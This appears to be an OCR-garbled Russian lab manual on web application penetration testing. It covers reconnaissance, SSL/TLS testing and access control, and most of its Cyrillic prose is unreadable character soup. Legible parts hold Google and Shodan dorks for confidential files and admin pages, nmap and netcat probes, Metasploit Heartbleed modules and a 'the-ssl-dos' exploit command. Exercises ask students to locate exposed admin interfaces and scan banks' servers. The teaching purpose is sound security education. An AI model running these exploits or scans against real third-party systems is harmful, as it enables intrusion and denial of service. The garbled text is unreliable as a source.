Mertoab! cOopa nHpopMalMK AENATCS HAa AKTUBHBIE U TACCUBHBIE. AKTUBHBIE METO/IbI TPEOYIOT
HEIOCPEACTBEHHOTO B3aMMOJICHCTBHSI C UCCIIEyEMBIM IPUIIOKEHUEM IIyTEM OTIIPABKH EMY
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3alpOCOB U aHAJIM- 332 COOTBETCTBYIOIINX OTBETOB, a TACCUBHBIE METO/IbI UCTIOIb3YIOT UH-
(dhopmaruio, OTIPaBIIEMYIO CEPBEPOM BEO-TIPHIIOKEHHS ero KireHTaM (Harnpumep, HTTP-
3aronoBku X-Frame-Options, Strict-Transport- Security u T.1.) 6e3 oTnpaBku 3anpocos. [Ipu
a"anuse BeO- HpHHO)KeHHﬁ, KakK IMpaBUJIO0, UCIIOJB3YIOTCA TOJIBKO aKTUBHBIC MCTOBI.

AKTUBHBIE METO/IbI JICJIATCS HA METO/IbI C OJKIIOUEHUEM K MPUJIIO- )KEHUIO (HarpuMmep,
naeHTudukaims Bed-cepBepa ¢ moMolbio ckanepa Httprint) u Mmeroas! 6e3 noAKIIOUYeHUs
(Hammpumep, cO6op MHPOPMALIUHU O MPUIIOKEHUH TIOMCKOBBIMHU pOOOTaMHu, ckaHepamu VHTepHeT, u
T.J1.).

B pesynbrate nposenenus c6opa HHPOpPMALUU O BEO-IPUITI0KEHUN MOTYT OBITh TOJTY4EHBI:

71 mmena u IP-ampeca ceTeBBIX Y37I0B, Ha KOTOPBIX Pa3MENICHBI BeO- MPUIIOKEHUE H €ro
KOMIIOHEHTH,

"] OTHHBI ¥ TAPOJM TEXHOJIOTUYECKUX YUETHBIX 3alHcei;

"] KOMMEHTapHH pa3pabOTUYNKOB;

| maHHBIE O CHCTEMHOM U npukiIagHoM [10, mpuMeHseMbIX cpeacTBax 3aIllUThl U KOHQUTypannuu
BEO-TIPHUIIOKECHHUS;

] aapeca 3JIEKTPOHHOM MOYTHI pa3pabOTUUKOB MPUIIOKEHHUS;

] MCXOIHBIN KOJ CEPBEPHON YacTH BEO-TIPHIIOKEHUS;

] koH(pUACHIHAIbHBIC (Db

[IporpaMMHBIMH CpECTBAMHU TTOTyUEHHsSI HEOOXOTUMON WH(POPMA- IIHH SBIISIOTCS:

| mouckoBble cucteMsl (Hanpumep, Google, Shodan, Bing);
] cnenuanu3upOBaHHbBIE CKaHephl ysa3BuUMocTeil MHTepHeT (Hampu- mep, http://unlcOrn.net/);
"] MHCTpYMEHTAJIbHBIE CPEJICTBA aHAIN3A 3alIMIIEHHOCTH ceTel o0rie- ro HazHaueHus (Nmap,
Xprobe2, XSpider);
WHCTPYMEHTAJIbHBIE CPEJICTBA aHaJIN3a 3alMIIEHHOCTH ceTel BeO- mpuiiokeHuit (AppScan,
Acunetix, Burp Suite, ZAP, W3AF u 1.1.).

Ilocmanoexa 3a0auu
BeimonuuTh cOop MHGOpMaIun 06 aHaAIM3UPyEMOM BeO- IPUIIOKEHUH WWW.test.app.com.

Tocreoosamenvrocme Oelicmeuii
bynem paccmatpuBaTh cO0p mHHGOPMAIIMK HA IPUMEPE BeO- MPUIIOKEHUS C YCIOBHBIM HMEHEM
www.test.app.com.

[Mlar 1. B anpecHoil cTpoke Opay3epa mepelTu Mo ajapecy

www.test.app.com/robots.txt. [IpoananuzupoBath coaepxkumoe (aitna. Cuenatb BEIBOIBI O
HAaJIM4UH «CKPBITHIX» JUPEKTOPUHN.

[Iar 2. B aapecHoii cTpoke Opay3epa NepelTH mo aapecy
http://www.test.app.com/crossdomain.xml u, 3arem, 1o aa- pecy
http://www.test.app.com/clientaccesspolicy.xml. [Ipoananu3upoBath conepxumoe (Gaiios.
CI[CJ'IaTB BBIBOJBI O KOP- PCKTHOCTH KOH(l)I/IpraL[I/II/I IIOJIUTUKU MCKIOMECHHOI'O BSaHMOHCﬁCTBHH
RIA [3].

[ar 3. IlepetiTi mo aapecy http:// www.google.com. 3a1aTh MOMCKOBBIE 3aITPOCHI,
ompezessieMble aHAIN3UPYEMbIM IPUIIOKEHUEM, HAPUMED:

] site:www.test.app.com filetype:docx confidential

site:www.test.app.com filetype:doc secret

site:www.test.app.com inurl:admin

site:www.test.app.com filetype:sql

site:www.test.app.com intext: "Access denied" I[Ipoananu3upoBaTh JOTUKY 3alpOCOB H

NoJy4eHHbIe AaHHble. [10- CTpONUTh CBOM 3ampOCHI, HCIOIB3YS MPUMEpPHI U3 0a3bl 3a1pocoB [4].
Hlar 4. Ilepeiitu no aapecy http://www.shodanhq.com. 3anaTs cienyromuii moMCKOBBIH 3arpoc:

(I R A I
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" hostname:www.test.app.com
[Toctpouts cBOM 3ampock! it npuiiokeHuss www.test.app.com. Ilar 5. Jlanubrin Tect
BBITIOJIHSIETCS] TOJIBKO ISl IPUJIOKEHUM, pa3-

MEIIEHHBIX B JIabopaTtopHOi ceTr. C MOMOIIBIO CeTeBhIX CKaHepoB Nmap u Xprobe BBITIOJIHUTH
unearuduxarmo OC BeOG-cepBepa:

# nmap —O www.test.app.com —vv # xprobe2 www.test.app.com

ar 6. [TogkarounThes K BeO-cepBepy, UCMONB3Ys yTUIUTY Netcat:

# nc www.test.app.com 80

Ortnpasuts cnenyromuii GET 3anpoc

GET /HTTP/1.1
Host: www.test.app.com
\r\n

ITo 3aronoBkam Server u X-Powered-By onpenenuts nporpamm- Hoe obecrieueHue,
peanusytoiee BeO-cepBep U GpIUMBOPK BEO- MPUITOKECHUS.

B Opaysepe ycranoButh pacummpenne Wappalyzer, nepeiTH 1o aja- pecy BeO-IpuIoKeHus 1
MPOAHATM3UPOBATH HHPOPMALIUIO O KOMIIO- HEHTaX BEO-TPHIIOKEHNUS TTOJTyYeHHOE Yepes
Wappalyzer.

[ar 7. C momomisio ckaHepa Bed-cepBepoB Httprint (muctpubytus Backtrack) niam Httprecon
(OC Windows) BBIIOJTHHUTE UAEHTH(UKA- [TUIO BeO-cepBepa:

# cd /pentest/enumeration/web/httprint/linux
# ./httprint —h www.test.app.com —s signatures.txt

C nomomsio ckanepa WafwO0Of nmpoBeputs Hanuuue y BeO- npuioxkeHus mnojcucremMsl WAF:

# cd /pentest/web/walftit
# python ./wafw0O0f.py http://www.test.app.com # python ./wafw00f.py
https://www.test.app.com

[Har 8. BeinonHUTh TECTHI 1O UACHTU(DUKAIIMY TTOAIep)KUBaeMbIX BeO-cepsepom HTTP-
MeTOAOB. J{J1st 3TOro He0O6X0IMMO OTHPABUTH ¢ oMokl Burp Suite min Netcat 3ampoc
CJIEYIOILErO BUJA!

OPTIONS / HTTP/1.1
Host: www.test.app.com

\r\n

ITpoBepuTsh, MoAEPKUBAET JIU CEpBEp 00PAOOTKY 3alIPOCOB C MIPOM3- BOJbHBIMU METOJaMH:
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DOGS /HTTP/1.1
Host: www.test.app.com

\r\n

Ecnu BeG-cepBep mognepxxkusaet Mmetol TRACE, TO 3TO MOKeT IpUBe- CTH K YSI3BUMOCTHU K aTake
Cross-Site Tracing (XST). Jnst mpoBepku noanaepxku Bed-cepsepoM metoasl TRACE oTnpaButh
3arpoc

TRACE /HTTP/1.1
Host: www.test.app.com
\r\n

Be6-cepBep nogaepxuBaeT metoa TRACE u noteHnuanbHo ys3BuM k atake XST, ecrnu monydeH
OTBETa BUJA

HTTP/1.1 200 OK
Connection: close Content-Length: 39 TRACE /

HTTP/1.1
Host: www.test.app.com

Bonpocwvl u 3a0anus
1. Haiitu agMuHucTpaTHBHBIE MHTEP(EHCH KOMMYHHKAIIMOHHOTO M CETEBOTO 000PYI0BAHUS
(Buaeokamepsl, kommyTaTopsl JIBC, mo- mamaue Wi-Fi MapmpyTu3atopsl, u T.1.),
HOJIKITFOUEHHBIE K ceTH MH- TepHerT.
2. U3BecTHO, 4TO aapec BeO-uHTEepdeiica cucrembl VMWare Horizon View HTML Access
COJICPKHUT CTPOKY portal/webclient/views/mainULhtml. Haiftu Takue cucTemsl, TOCTYITHBIC U3
cetu IHTEpHET.
Onenuth kKomruecTBo kKommyTaTopoB Cisco Catalyst ¢ aAMUHU- CTpaTUBHBIM BeO-UHTEpdEiicoMm,
MOJIKJIIOUEHHBIM K ceTu VHTepHeT.

Tecmupoeaﬂue AU eHHoCmMu mpancCnopmHoco ypoe6H:

Lenv pabomui
Lenpro maboparopHoit paboThl sABIsIETCS 00ydeHHUE METOJaM M CPEACTBaM TECTUPOBAHUS
3amuIeHHocTH cy)06 SSL/TLS.

Kpamxue meopemuueckue ceéedenus

3amuTa TPAaHCIOPTHOTO YPOBHS BEO-TMPUIIOKEHHSI OCHOBaHA Ha UCIIOJIb30BaHUU MTPOTOKOJIOB
cemerictBa SSL/TLS, nmeromux 3HaYUTETHLHOE KOJTUYECTBO MEXaHU3MOB, (DYHKIIHIA 1 TTapaMeTpOB
3aIUTHI, peanu3anus U KOHPUTypauus KOTOPhIX OMpeeiseT B KOHEYHOM UTOTe YPOBEHb
3alIMIIEHHOCTH BeO-TIpuiioxkeHus. HecMOTpst Ha TO, 4TO B HACTOSIIEE BPEMSI H3BECTHO MHOTO
aBTOMATHU3HPOBAHHBIX CPEACTB TecTupoBanus 3ammineHnoct SSL/TLS (manpumep, cepBuc
www.ssllabs.com, mporpammer SSLscan u SSLyze), netanu ux peanu3ainu, Kak MpaBuio,
HEU3BECTHBI WU TPEOYIOT TOMOIHUTEILHOTO UCCIEI0BAHUS, YTO HHOTIa HE TIO3BOJISICT MOJTHOCTHIO
JIOBEPSITH pe3yibTaTaM uxX padboTsl. OTHUM U3 HU3KOYPOBHEBBIX U HAJICKHBIX CPEJICTB
TEeCTUPOBaHUs 3amuieHHoCcTH ciryk0 SSL/TLS sBnsercs ket OpenSSL.

Tlocmanoska 3a0aqu
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BeimonHuTh TECTHpOBaHKE 3amUIIeHHOCTH ciy:k0 SSL/TLS Beb- cepBepa www.test.app.com.

Ilocnedosamenvrocmy Oelicmautl
[Har 1. Bemonuute 6a3oBsie mpoBepku SSL/TLS. YcTraHOBUTH 10- CIIEAHIOI0 BEPCHIO MaKeTa
OpenSSL. 3anyctuth cereBoit ananuzarop Wireshark. BbIMonIHUTE TeCTOBOE MOJIKITIOYEHUE K

cepBepy:

# openssl s_client —connect www.test.app.com:443

[IpocMoTpeTh TpaccupoBKy ycTaHOBKU coenuHeHus: B Wireshark. Onpenenuts cienytoriue
napameTpsl: Bepcuto npotokona SSL/TLS, ucnonb3yemsriii kpunrorpadudeckuii Habop (cipher
suite), JIMHY OT- KPBITOTO KIIF0Ya CepBepa, BKIOUECHHE MEXaHU3Ma CKaTusl AaHHbIX. OT-MIPaBUThH
cnenyromuii HTTP-3anpoc u yOoenuThes B MOMyYeHUH OTBETA OT CepBepa:

GET /HTTP/1.1
Host: www.test.app.com

[IpoBeputs moazepxkKy cepsepom Mexanusma «Sever Name Indica- tion» (SNI):

# openssl s_client —connect www.test.app.com:443
—servername www.test.app.com

[IpocMoTpeTs TpaccupoBKy ycTaHOBKH coenuHeHust B Wireshark B atom ciygae. [Toanepsxka
pactmupenust SNI uaeHTHGUIIUPYETCS MyTeM YCTaHOBKH coeauHeHus ¢ omnueit SNI u 6e3 Hee.
Ecnu B oTBET momy- 4eHsl pa3nuunblie cepTudukatsl, To SNI mognepxusaercs cepsepom. Eciu
yKkazaHHoe B onui SNI nMs Hen3BeCTHO, TO KIIMEHT BBIBOJIUT COOOIIEHUE 00 OINOKe UITH
MIpeyIpexACHUE.

[ar 2. UnentudunupoBats Bce noaaepkuBaemMbie mpoTokosibl SSL/TLS, BeimoHUB
IIOCJICIOBATCIIBHO KOMAHbI:

# openssl s_client —connect www.test.app.com:443
;Sgi)zenssl s_client —connect www.test.app.com:443
;5311)3%851 s client —connect www.test.app.com:443
;ti)splenssl s_client —connect www.test.app.com:443
;t%)sple_nlssl s_client —connect www.test.app.com:443
—tls1 2

[IpocMOTpeTh TpacCHUpPOBKY CKaHUPOBaHUS. HaliT OTIWYMS B CTPYKTYpe CETEBBIX COOOIICHUIA
JUISL pa3HbIX BEPCHUM IPOTOKOJIA.

ar 3. Unentudunuposats Kpunrorpapuyeckue Habopsl (cipher suite), moaaepkuBaeMble
cepBepoM. /111 moTydeHus: BCceX MOIeP>KU- BAEMBIX KIMEHTOM KpHUITOrpaduyeckux Habopos
BBITIOJTHUTH KOMaH[Ty
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# openssl ciphers -v

JlJis IpoBepKH TOIJIEPKKH, Hanpumep, Habopa AES256-SHA BBINOI- HUTH CIEAYIONIYI0 KOMaH/TY:

# openssl s_client —connect www.test.app.com:443
—cipher AES256-SHA

[IpoBeputs MoAIEpKKy KpunTorpapuueckoro Habopa, cogepsxamiero mudp RC4:

# openssl s_client —connect www.test.app.com:443
—cipher RC4-SHA

[IpoBepuTh, YTO IPHU YCTAHOBKE 3AIIUIIIEHHOTO COSTUHEHUS KPUII- TOrpadruecKuii Habop
BBIOMpPAETCs B MOPAJKE, ONPEAEIIeMOM HacTpOHKaMK cepBepa, a He KiIMeHTa. J[jist 3Toro u3 cnucka
MOJIIEP>KU- BA€MbIX CEPBEPOM KpUNITOrpaduuecKux HaOOPOB BBIOPATh TPH MPOU3- BOJBHBIX U
BBINIOJIHUTh KOMAH/Ibl, HAIIPUMED:

# openssl s_client —connect www.test.app.com:443
—cipher 'AES256-SHA256,AES128-SHA ,DES-CBC-SHA'
# openssl s_client —connect www.test.app.com:443
—cipher 'AES128-SHA256,AES256-SHA ,DES-CBC-SHA'
# openssl s_client —connect www.test.app.com:443

—cipher 'DES-CBC-SHA,AES128-SHA,AES256-SHA256'

[Tpu KOppeKTHOI HACTPOIKe BO BCEX CIydasx AOJDKEH ObITh BIOpaH Habop AES256-SHA256.

[TpoBeputh moaaepkky cepepom Forward Secrecy Ha ocnoBe DHE n ECDHE:

# openssl s_client —connect www.test.app.com:443
—cipher 'ECDHE—RSA-AES256-SHA384'

# openssl s_client —connect www.test.app.com:443
—cipher 'DHE—RSA-AES256-SHA256'

Hlar 4. JIns onpeaeneHus NOJAEPKKH cepBEpOM MexaHu3Ma «Ses- sion Resumptiony
BBIIIOJTHUTH KOMaH/y

# openssl s_client —connect www.test.app.com:443
—reconnect

WK ee MeHee HH(OPMATHBHBIN BapHaHT

# openssl s_client —connect www.test.app.com:443
—reconnect | grep 'New\|Reuse'

[ar 5. JIns unenTudukanmm Mmexannsma «Secure Renegotiationy BBITOJIHUTH KOMaHIY

# openssl s_client —connect www.test.app.com:443 | grep 'Secure Renegotiation'
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[TpocMoTpeTh TpacCUPOBKY CKaHUPOBAHUS U yOEIUTHCS B MOJ- JEp>KKE JaHHOTO MEXaHHU3Ma.
[Moxnepxxka Mmexanm3ma «Secure Renego- tiation» cepBepoM onpeaenseTcs M0 HATUIUIO
pacmmpenus «renegotia- tion_info» B coobmenue ServerHello wmm myTem mpocMoTpa BeIBOJIA
KOMaH/Ibl

# openssl s_client —connect www.test.app.com:443
—tlsextdebug

Jns unentudukanuy noanepxxku cepsepom mexanusma «Client- Initiated Renegotiation»
HEOOXOAMMO MOJIKITIOUNTHCA K BeO-cepepy o SSL/TLS ¢ momompio kmuenta OpenSSL

# openssl s_client —connect www.test.app.com:443

1 3aTCM OTIIPABUTH 3aIIpOC:

HEAD /HTTP/1.1
Host: www.test.app.com R

HJIN

GET /HTTP/1.1
Host: www.test.app.com R

Ecnu cepsep He nonnepxuBaet «Client-Initiated Renegotiation», To OyaeT BbIBEICHO
coobmenue o6 ommoOke. Ecnu cepBep moaaepKuBaeT TaHHBIH MEXaHU3M, TO CEpBEpP OTIPABUT
KIIMEHTY CHOBA CBOM CEPTHU- (PUKATBHI.

[Toxnepxka mexannusma «Client-Initiated Renegotiation» MoeT OBITH UCTIOB30BaHA TSI
peanu3anuu B OTHOIIEHHH BeO-cepBepa DoS- aTaku, Tak Kak MpH KaKIOM YCTaHOBICHUH
COCIMHCHUA CCPBEP BbI- HYKIACH TPATUTh CYIICCTBCHHO 0OJIBIIIE BEIYUCIUTEIBHBIX PECYPCOB UEM
KITUEHT.

UTo6b! IPOBEPUTH BO3MOXKHOCTE peanu3anuu DoS-ataku, MOKHO MPOBEPUTH, CKOJIBKO pa3
KIIMEHT MOXKET HHUIIMUPOBATh Iepecoriaco- BaHue (renegotiation) kpunrorpaduyeckux
IapaMeTpoB:

GET /HTTP/1.1
Host: www.test.app.com R
RRRR

Jlpyroii croco0 TecTHpOBaHUs — UCTIOJIb30BaHue dKcIutonTa the-ssl- dos [6], Hanpumep:

# the-ssl-dos —accept 192.168.1.1 443

[IIar 6. [IpoBepuTh HaMuKe ysi3BUMOCTH Kk atake « BEAST). Jlan- Hast aTaka UCIIOIb3YyeT
HeI0CTaTKU OJ0YHBIX MM (poB, padoTtatomux B pexxume CBC, u cymecTByeT BO BCeX BEPCHAX
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npotokosioB SSL/TLS no Bepcun TLS 1.1. [{ng Toro uroOs! 3anmtuthes ot atraku BEAST,
HeoOxoaumo ucnoinb3oBath mH@p RC4 ninu nporokon TLS Bepcun 1.1 u crapme. C apyroit
croponsl, mudp RC4 B HacTosIIee BpeMs cUuTa- €TCsl HeOe30MacHbIM, TO3TOMY €T0 UCIOJIb30BaHNE
HeXeaaTenbpHo. s

3amuThl oT ataku BEAST Ha npakTuke npeanaraercs 1Ba MoAX04a: NEPBbI U3 HUX HOCUT
Ha3Banue «Ctporoe ocnadienuey» (Strict mitiga- tion) U mpeanonaraeT UCIoIb30BaHNUE MPOTOKOJIA
TLS Bepcuu 1.1 u cTapiie co BceMu KIIMEHTaMU, KOTOPBIE €ro MOAIEPKUBAIOT; BTOPOH MOAX0/
HasbiBaeTcs «IIpuopuresarnus RC4» (RC4 prioritization) u 3a- KJIOYAETCS B MOBBIIICHUH
npuoputera mmdpa RC4 11 KIMEHTOB, MOIEPKUBAIOIIMX TOJIBKO poTokoisl SSL 2.0, SSL 3.0 u
TLS 1.0. Takum 06pazom, HeoOXoauMo yoeauThest, uto kiaueHTbl SSL 3.0 wmu TLS 1.0, He
noanepkuBatonue mudp RC4, He cMOTYT YCTaHOBHUTH COSIMHEHUE:

# openssl s_client —connect www.test.app.com:443
—no_ssl2 —no tlsl 1 -no tlsl 2 —cipher 'ALL:!RC4'

HJIN YTO KIIMCHTHI, IIOAACPIKUBAIOIINC I_I_II/I(I)p RC4, YCTAHOBAT COCAH- HCHHUC, UCIIOJIB3YS €ro

# openssl s_client —connect www.test.app.com:443
—no_ssl2 —no tlsl 1-no tlsl 2 —cipher 'ALL:+RC4'

[Mar 7. ITpoBeputs Hanuume ysa3BUMOCTH Kk aTake «Heartbleed» mo kocBeHHBIM MpH3HAKaM, a
TaK)Ke MyTEM HCIIOJIb30BaHMS aKTUBHBIX Te- cTOB B Metasploit Framework.

IIpocmotpets TpaccupoBky B Wireshark u onpeaenuts nogaepxxky pacmmpenus «Heartbeaty
IOCJI€ BBIMOTHEHNUS KOMaH/Ibl

# openssl s_client —connect www.test.app.com:443
—tlsextdebug

[IpoBeputs moanepxkKy cepBepom npotokona «Heartbeat» yepez OpenSSL nmyTem BbINOTHEHUS
KOMaH/Ibl

# openssl s_client —connect www.test.app.com:443
—tlsextdebug

Ecmu CCPBEP HE BO3BpalIacT B COO6H.[€HI/IHX JaHHBIE O paCIIUPEHUN

«Heartbeat», To OH He ysI3BUM K JaHHOW aTake.

st Toro uTOoOBI TPOBEPUTH, OTBEYAET JIM CepBEp Ha 3ampockl Heartbeat, BEITOIHUTE KOMaHABI

# openssl s client —connect www.test.app.com:443 —msg

Jlyist mpoBepkH ysI3BUMOCTH KJIMEHTa (Harpumep, BeO-0paysepa) k Heartbleed aTake moxHO
YCTAaHOBHUThH COCIHHEHHE C JIFOOBIM CEPBEPOM M MPOCMOTPETh TPACCHUPOBKY COCTHHCHHS.

PaccMoTpuM BapraHT akKTUBHOTO TECTUPOBAHHUS (BBITIOJHEHHUE aTa- KU C HCIIOJIb30BAHHEM
ySI3BUMOCTH) B cpenie Metasploit Framework.
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I[J'ISI TCCTUPOBAHUA KIIMCHTA BBIIIOJIHUTH CIICAYIOIINC KOMAHIbI:

# msfconsole

>use auxiliary/server/openssl heartbeat client memory
> show options

> run

B Be06-Opaysepe oTkpbITh pecypc Metasploit, oTBeqaroIuii 3a Te- CTUPOBAHUE HA HATMINE
ysI3BUMOCTH K atake Heartbleed u mpocMoT- peTs uHGOpMAIUIO O pe3yIbTaTe TECTUPOBAHUS
KITMEHTA.

Jns TectupoBanus cepBepa B cpee Metasploit Framework BbINos- HUTH clieyromume KOMaH/bl:

# msfconsole

use auxiliary/scanner/ssl/openssl_heartbleed
show options

set RHOSTS www.test.app.com

set RPORT 443

set VERBOSE true

run

vV V V V VYV

C nmomompro ipoekTa http://unlcOrn.net HaiiTu BeO-cepBepsl, ys3BUMBIC K aTake Heartbleed (B
KpalfHeM clTydae, MOYKHO HCITIOJIb30- BaTh TECTOBBIC CepBEpa, ys3BUMEIe atake Heartbleed, Hanmpumep
heartbleed.csr-group.com). [lonTBepauts ysi3BUMOCTH k atake B cpeae Metasploit Framework wnu ¢
nmomoIeio ceppuca http:/ssllabs.com.

[ar 8. IIpoBeputs Hanuuue ysa3BuMocTy k arake «CRIME» no kocBeHHbIM nipu3Hakam. /[anHas
aTaka OCHOBaHA Ha C)KaTWU JaHHBIX Ha ypoBHe SSL/TLS. Jlyis mpoBepKu 1OCTATOYHO BBIMOJIHUTH
KOMaHAy

# openssl s_client —connect www.test.app.com:443
—reconnect | grep 'Compression’

[ar 9. [Tposeputs Hanuuue HTTP-3aronoskoB Strict-Transport- Security, ycTaHaBIMBaeMbIX Ha
cTopoHe BeO-cepBepa. OtmpaButh cie- nyrommiit HTTP-3anpoc kK BeO-NpHIIoKEeHHUIO B TIPOTpamMme
Burp Suite

GET /HTTP/1.1
Host: www.test.app.com
\r\n

HTTP-oTBeT noimkeH conepkaTh 3arojIOBOK CIEAYIOIIETO BUJA!

Strict-Transport-Security: max-age=31536000; includeSubDomains

[IpoBepuTh HaIMUME CTPAHUI] CO CMELIAHHBIM KOHTEHTOM (mixed- content pages) — CTpaHuLl,
noctynsbix o HTTPS, Ho copepxaiux pecypcsl (KapTUHKH, ckpunThl JavaScript, ¢aitner CSS,
Me/iMa- KOHTEHT), ocTynHble o npotokony HTTP. lns atoro cnenyer ckoH- GUrypupoBaTh
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Opay3ep 111 paboThI ¢ TECTUPYEMBIM BeO- PUIIOKEHUEM yepe3 BeO-1ipokcu Burp Suite, B mporuecce
paboThl ¢ BeO-npuioxkenreM Heobxonumo Bo Bkiagke HTTP History mpocMmoT- peTs uctopuio u
YIOCTOBEPUTHCS, UTO BCE 3aIPOCHI K CEPBEPY OTIPAB- JISIFOTCS TONBKO 110 npotokoy HTTPS.

[TpoBepuTs, uTO cookie, coseprkaliie 4yBCTBUTENbHYIO HHPOpPMa- M0, UMEIOT aTpulyT secure,
Harpumep:

Set-Cookie: Sessionld=371d2sm6cbn3d3 1a;path=/;secure

[IpoBepuTh, UTO YYBCTBUTEIbHBIM KOHTEHT HE KLIMPYETCS HAa CTO- POHE KIMEHTA. 3alpelieHue
K3LIUPOBAHUS ONPEACIIACTCA HATMYUEM

HTTP-3aronoBkoB Pragma, Cache-Control u Expires co ciienyomumMu peKkoMeH1I0BaHHbIMU
3HAYECHUSAMMU:

Pragma: no-cache
Cache-Control: no-cache, no-store, must-revalidate, max-age=0
Expires: 0

[IpoBepuTh, uTO NPUIIOKEHUE 3aLUIIEHO 0T ataku «SSL Stripping». Iy 3Toro He00X0UMO
yOeauThes, 4TO BEeO-NPUIIOKEHUE JOCTYIHO TosbKo 1o npotokony HTTPS u He noctynHo
onuuoHabHO 1o npotokoay HTTP win B BeO-npuiiokeHnn NCIosib3yeTcs 3arooBoK Strict-
Transport-Security (IIpu yCI0BUM TOT0, YTO MOJIb30BATENb Ta- pAHTHPOBAHHO MOMAAET Ha CAlT Mo
nporokosry HTTPS).

Hlar 10. Bemmonaauts TectupoBanue SSL/TLS ¢ ucnonbs3zoBanuem cepsuca ssllabs.com.

B BeO-Opay3epe nepenTn 1o ajpecy
https://www.ssllabs.com/ssltest/index.html, BBecTu 10- MEHHOE UMS cepBepa, BHITOIHUTh
CKaHHPOBAHHUE, MPOCMOTPETH U MPO- AHATU3UPOBATH MOTYUCHHBIE PE3YIbTATHL.

CpaBHHTB pe3yJIbTaThl CKAHUPOBAHUS cepBepa C pe3yIbTaTaMH, MO- JIyYeHHBIMU TIPH €T0
PYYHOM TECTHPOBAHHH.

BrinoaHuThs TECTHPOBaHNE HECKOJILKUX BEO-KIMEHTOB (Harpumep, Be6-0pay3epos Internet
Explorer, Mozilla Firefox, Google Chrome, WhiteHat Security Aviator, fAunexc bpayzep, Apple
Safari, Opera u T.11.). /1)1 3TOTO B K&XKIOM TECTUPYEMOM Opay3epe OTKPBITh CTPAHHILY
https://www.ssllabs.com/ssltest/index.html, BEINOTHUTE CKaHUPOBAHKE, MPOCMOTPETH U
MIPOAHATN3UPOBATh PE3YIIbTATHI.

Bonpocwvl u 3a0anus
1. TIpoBepuTh MpOM3BONBHBIN BeO-cepBep, noanepxkuBatonuii SSL/TLS, Ha cooTBETCTBHE
pexomenmanusm Qualys SSL Labs [7].
2. HamucaTh CKpUNT, BHIMOTHIIOMINNA HACHTU(DUKAIINIO BCEX MOJ- JEPKUBAEMBIX CEPBEPOM
kpunrorpadpudeckux Habopos SSL/TLS.
[IpockanupoBath BeO-cepBephl 10 M3BECTHBIX KOMITAHUH, 0aH- KOB, ONIEPATOPOB CBS3H C TOMOIIIBIO
cepBuca ssllabs.com. I[Ipoananu- 3upoBaTh pe3yinbTaTHI.
Tecmuposanue 3auuuyeHHOCMU MEXaHU3IMAa YNpasieHus 00CMynom

Lenv pabomui
Llenbio mabopatopHOii paboTHI SBIIsIETCS 00yUEHHE METOJIAM U CPEACTBaM TECTUPOBAHHS
3aIUIICHHOCTH MEXaHU3Ma yIPaBICHHUS JIOCTYIIOM B BEO-TIPHIIOKECHUSX.
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Kpamkue meopemudecKkue cB8e0eHUs
OI[HI/IM N3 OCHOBHBIX MCXAaHU3MOB 3aIlIUTbl COBPCMCHHBIX BeO- HpI/IJ'IO)KeHI/II\/'I ABIIACTCA
MCXAaHU3M YIIPaBJICHUA JOCTYIIOM. OOBIYHO BBIJIC/IAIOT CIICAYIOIIHE OTAIbl YIIPABJICHUA JOCTYIIOM

[8]:
- I/I,ZIeHTI/I(bI/IKaHI/IH — YCTAHOBJICHUC I/I}IGHTI/ICbI/IKaHI/IOHHBIX JaHHBIX,
- aYTeHTI/I(I)I/IKaLII/IH — HNOATBCPIKACHHOC YCTAHOBJICHUC I/II[CHTI/I(bI/IKa- OUOHHBIX JAHHBIX,

— aBTOpH3alus — HA3HAYCHUC IIpaB I/I}IGHTI/ICI)I/IKaHI/IOHHI)IM JaHHBIM.

[Ipu Bxoxe B BeO-npuioxkeHue (sign in, log in) moiap3oBaTens UACH- TUGUITUPYETCS (cooOIIaeT
CBOM HIEHTHU(PUKATOP) U ayTeHTU(DULIHUPY- eTCs (IOKA3bIBAET, YTO OH UMEHHO TOT MOJIb30BaTEIb,
4eil uAeHTU(H- KaTop ObLIT COOOIIEH).

BonbImHCTBO BEO-NPUIIOKEHUI HCTIONB3YIOT ayTeHTU(UKAIIHIO IO apoto. B Beo-
MIPUIIOKEHHUAX C BBICOKUM YPOBHEM 3alllUIIEHHOCTH (Hanpumep, B IHTepHeT-0aHKax) Takxke
MIPUMEHSIOTCS POTOKOJIBI IByX(hakTopHOU ayTeHTH()HUKauu. OYeBUIHBIM HETOCTATKOM ayTEH-
TU(PHUKAIMY TIO TIAPOJTIO SBJISIETCS BO3MOXKHOCTD MCIOJIb30BAaHUS Mapo- JIeH C IIOXUMHU
CTaTUCTHYECKUMH XapaKTePUCTHKaMU. XpaHEHUE TIa- POJISL WIIH €T0 Iepeaada Mo KaHajlaM CBSI3H B
OTKPBITOM WJIM J1aXKe 3a- MHU(POBAHHOM BUE MOTEHIMAIBHO HECET YIPO3Y PACKPBITHUS IApOJIs.

Tem He MeHee, COBpEeMEHHbIE 3alUIIEHHbIE BEO-TIPUIOKEHHUS B OOIBIINHCTBE CIy4aeB
UCMOJB3YIOT Tiepeiady napoJisi B 3aiiM(ppoBaH- HOM BUJIE C TIOMOIIbIO IIPOTOKOJIOB ceMeicTBa
SSL/TLS, a xpaneHue napoJisi B XelIMpoBaHHOM Bue. [Ipu 3Tom 1715 XpaHeHust maposieit
MOJIb30BaTeNe PEKOMEHIyeTCsl UCIIOJIb30BaTh HE KpUIITOrpaduyeckue Xa1-QpyHKIUH 0011ero
HazHauyeHus (Hampumep, SHA wiu MDS), a cnennanusupoBannbie pynkuuu PBKDF2, berypt,
scrypt u T.1. Takxke U1 XpaHeHUs1 Tapojieil HeoOXOAUMO HCHOIb30BATH «COJbY, MpPEaHa-
3HAYEHHYIO JUIS 3aTPyAHEHHUS IPOBEICHUS aTaK 10 CIOBAPSIM U pajayK- HbIM TaOJIHIIaM.

ABTOpH3a1Ms B BEO-NPHIIOKEHHUSIX MOXET OBITh ONpeieNIeHa KaK MPOLEecC MPOBEPKH TOTO,
pa3pelIeH WIK 3alpelleH 3allpoc Ha MOoIy4e- HUsI JOCTYIA 0JIb30BaTells K PeCypCcy B COOTBETCTBUU
C 3a/IaHHOM MO- TUTUKOM Oe3omacHocTu. Kak nmpaBuiio, B BeO-NIPUIOKEHUAX pealiu3y- eTcsl pojieBast
(RBAC) unm atpudytHas (ABAC) noiautuka J0ru4ecko- ro yrnpapieHHUs TOCTYIIOM.

OaHUM U3 METOJI0B TECTUPOBAHUS BO3MOXKHOCTH MOJIYYEHUS TPU- BUJIIETUNA PYTOTO
MOJTh30BaTENS sABIsACTCS MU depeHnanbHbINA aHa- Ju3. Ero uaes 3aximovaercst B uACHTU(DUKAITIT
